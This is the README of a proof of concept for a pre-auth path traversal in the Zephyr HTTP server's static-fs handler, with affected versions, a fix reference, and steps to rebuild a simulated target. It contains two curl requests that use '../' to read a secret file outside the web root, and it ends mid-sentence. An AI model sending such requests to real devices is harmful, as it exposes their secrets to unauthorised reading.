CVE-2026-8023 — Zephyr HTTP static-fs path traversal (PoC)

Pre-auth path traversal in Zephyr's HTTP server static-fs handler (subsys/net/lib/http) when wildcard resource matching (CONFIG_HTTP_SERVER_RESOURCE_WILDCARD=y) is used with HTTP_RESOURCE_TYPE_STATIC_FS. Affects both HTTP/1.1 and HTTP/2.

GHSA: GHSA-hch3-53g6-jj3h

• Affected versions: >= 4.0.0, < 4.3.1; >= 4.4.0, < 4.4.2
• Confirmed against: b93e61d02d5cd08d2fc559feb0253f9de3491777 (v4.4.0-rc1-32-gb93e61d02d5)
• Introduced: commit e55278a87be4e5534ba772b23e459882866bcd6d (2024-07-31)
• Commit fix: zephyrproject-rtos/zephyr#108531

curl --http1.1 --path-as-is -i "http://$URL/www/../device.env"
curl --http2-prior-knowledge --path-as-is -i "http://$URL/www/../device.env"

Reproduce

git clone https://github.com/zephyrproject-rtos/zephyr.git
cd zephyr && git checkout b93e61d02d5cd08d2fc559feb0253f9de3491777 && cd ..
west init -l zephyr
west update

# Copy the contents of this repo's pocs/ into zephyr/pocs/
docker build -f zephyr/pocs/Dockerfile.native-sim -t zephyr-httpfs-zdi .
docker run --rm -it -v "$PWD":/work -w /work zephyr-httpfs-zdi bash

# Inside container:
west build -p always -b native_sim/native/64 \
    zephyr/pocs/http_static_fs_native_sim \
    -- -DEXTRA_DTC_OVERLAY_FILE=ramdisk.overlay
./build/zephyr/zephyr.exe

The harness mounts a LittleFS image, writes a secret at /littlefs/device.env outside the /littlefs/www/ web root, exposes a wildcard static-fs route, then issues four loopback requests: